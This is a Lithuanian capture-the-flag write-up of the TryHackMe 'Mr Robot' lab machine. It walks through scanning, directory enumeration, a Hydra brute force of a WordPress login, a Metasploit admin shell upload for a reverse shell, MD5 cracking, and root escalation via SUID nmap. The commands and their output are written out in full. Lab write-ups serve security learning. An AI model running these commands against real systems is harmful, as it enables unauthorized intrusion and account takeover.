Kambario Mr. Robot Pažeidžiamumų Paaiškinimas | TryHackMe Demonstracija
Įvadas
Šio kambario tema iš populiariaus TV serialo Mr. Robot. Šiame kambaryje yra 3 raktai kuriuos reikia surasti. Jie atrodo kaip atsitiktinis skaičių ir raidžių kratinys, kurį sudaro 32 ilgio simboliai. Mūsų taikinys yra VM kurioje yra operacinė sistema Linux, o failų sistemoje bus reikalingi raktai. Tikslui pasiekti naudosime Kali Linux įrankių rinkinį, kurį sudaro: nmap [1], curl, FireFox naršyklė, Metasploit Framework, kad išnaudoti pažeidžiamumą kartu su Reverse Shell [3] praeiti ugniasienės apsaugą. Po to reikės atlikti slaptažodžių ataką “Brute Force” būdu, panaudosime įrankį “Hydra”. Taip pat reikės maišos funkcijos reikšmę sužinoti, kuri saugos dar vieną slaptažodį. Mūsų atakos planas atodys taip:
Informacijos Rinkimas
Paleiskime VM mygtuku “Deploy” . Kol užsikraus, pasiruoškime įrankius, savo Kali VM, taip pat nmap.
Rekomenduoju vesti užrašus, kad lengviau sekti ar atgaminti procesą kilus interneto trikdžiui. Pasižymėkime kuris yra mūsų IP adresas, kuris taikinio, nes tai yra svarbu atliekant Reverse Shell.
Mano Kali: 10.10.110.10
Mano Taikinys: 10.10.110.111
Pasidarykime savo taikinio IP adresą kaip kintamąjį:
ip=10.10.110.111
Išnagrinėkime kokios paslaugos ir versijos veikia šioje VM su nmap, o komanda su argumentais yra apačioje.
nmap $ip
Matome, kad yra web prievadai atvyri, visi kiti filtruojami, 22 paslauga neveikia (closed). Atidare našyklėje matome įdomų puslapį iš TV Show Mr. Robot. Galbūt šį svetainė turi administravimo polapį, ar kokį kitą kur galime būtu tęsti paieškas. Gaukime sąrašą svetainių polapių, naudokime gobuster, prieš tai sudiekime.
apt update && apt install -y gobuster
Po to paleisime:
gobuster dir -u http://$ip/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gali užtrukti paeiška, tačiau mums užtenka tiek kiek radome:
Matome atsakymai HTTP 200 ties robots ir wp-admin. Patikrinus naršylėje arba su curl komanda terminale:
curl -sL $ip/robots
Matome, kad yra dar kelios nuorodos, viena iš jų yra mūsų raktas, kita žodynas tolimesniai atakai pratęsti.
wget $ip/fsocity.dic
Peržiūrėkime įkeltą žodyną: įrašų — virš 85.000, jie kartojasi ir tik unikalūs slaptažodžiai būtų:
sort fsocity.dic | uniq -u > passwordlist.txt
Mūsų prisijungimo formą:
curl -sL $ip/wp-admin
Prieigos Gavimas
Kai atidarėme puslapį matėme, kad naudotas galimas Elliot, mes ji ir naudosime, taip pat galima įvesti jį į Wordpress login formą, matysime, kai slaptažodis netinka, bet naudotas tinklapis parodys, kad slaptažodis netiko. Taip galima spėti, koks yra naudotas.
hydra -l elliot -P passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
Neilgai trukus turėtų rasti slaptažodį.
Toliau kitoje terminalo sesijoje naudosime vieną iš atakos šablonų, kuris leis užmegsti atgalinę sesija žinant Wordpress prisijungimus. Pasileiskime Metasploit Framework kartu su duomenų bazę.
msfdb init && msfconsole -q
Po to kai užkraus susiraskime su search wp_admin_shell_upload arba tiesiai kvieskime skriptą su komanda use:
use exploit/unix/webapp/wp_admin_shell_upload
Reikės priskirti savo taikinio adresą, vardą ir slaptažodį:
set RHOST
set USERNAME
set PASSWORD
Visa tai galima pasitikrinti ką reikės įvesti su komandą info. Mums bus parodyta, kurie laukai yra neįvesti tušti: “current” ir šalia matysime, kad yra “required”.
info
Kelis parametrus papildomai reikia pakeisti, kad veiktų Reverse Shell.
set WPCHECK false
set HttpClientTimeout 300
Gali kiek užtrukti sesijos mezgimas, reikės kantrybės ir nieko nespaudinėti, be reikalo.
Galime nueiti sistemos komandų interpretatorių su shell. Toliau pasižiūrėti naudotojo teisės id arba whoami
whoami && id
Po minutes dviejų atsidarys mums terminalo sesiją su to naudotojo teisėmis, mes jo home direktorijoje matysime failiukus, kurios bandysime atidaryti, tačiau ne visus atsidarys. Kitame etape tęsime savo sesijos išsikėlimą.
Prieigos išlaikymas
Matome failiuką, su plėtiniu raw.md5 jame bus maišos funkcijos rezultatas tai yra sumaišytas naudotojo slaptažodis. Prisijungę kaip tas naudotojas mes galėsime perskaityti kito failo turinį. Rekomenduoju, atsidaryti kitą Kali VM terminalą kuriame atliksime šiuos slaptažodžių atkūrimo veiksmus:
gunzip /usr/share/wordlists/rockyou.txt.gzjohn -w=/usr/share/wordlists/rockyou.txt pass.txt --format=Raw-MD5
Toliau grįškime į msfconsole terminalo sesiją:
Taip šį sesija neturi interaktyvaus bendravimo per tty, kad galėtume įvesti slaptažodį: Mes galime per Python pseudo terminalą pty gauti interaktyvų terminalą:
python -c 'import pty; pty.spawn("/bin/bash")'
Dabar jau galime perskaityti antrąjį raktą su cat komandą.
cat key-2-of-3.txt
Toliau paskutinė užduotis eskaluoti iki administratoriaus teisių. Tai galime vienu iš būdu jeigu operacinėje sistemoje yra programų kurios galimos leisti paprastiems naudotojiems, bet programa atlieka veiksmu kaip už administratorių, t.y. normalus elgiasi pvz.: komandą passwd leidžia pakeisti savo slaptažodį sistemos įprastam nautotojui, o rezultatą įrašyti į shadow failą. Tačiau reikia turėti pažeidžiamumą ar blogai sukonfigūruotas, ar perdaug duota teisių. Taip galima patikrinti su find komandą ir paieškoti teisių.
find / -user root -perm -4000 2> /dev/null
Rezultate daug įvairių galime patikrinti su gtfobins esančiomis komandomis. Kiekvieną galime patikrinti ir pabandyti, tačiau veiks tik nmap. [7].
Panaudoje specialų derinį galime iškviesti nmap.
nmap --interactive
Toliau įvede :
nmap> !sh
Gausime interaktyvų komandų interpretatorių su root teisėmis
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# whoami
whoami
root
Belieka tik nusiskaityti koks yra trečiasis raktas:
# cat /root/key*
cat /root/key*
Šaltiniai
#1 https://medium.com/hackerman-lt/kas-yra-nmap-ir-kaip-juo-naudotis-49a376400e8c
#2
#3 https://medium.com/hackerman-lt/kas-yra-reverse-shell-ir-kaip-juo-naudotis-9d9bd43d1207
#4 https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
#5 https://github.com/frizb/Hydra-Cheatsheet
#6 https://medium.com/@tellicolungrevink/mr-robot-d8e38a64fecf
#7 https://gtfobins.github.io/gtfobins/nmap/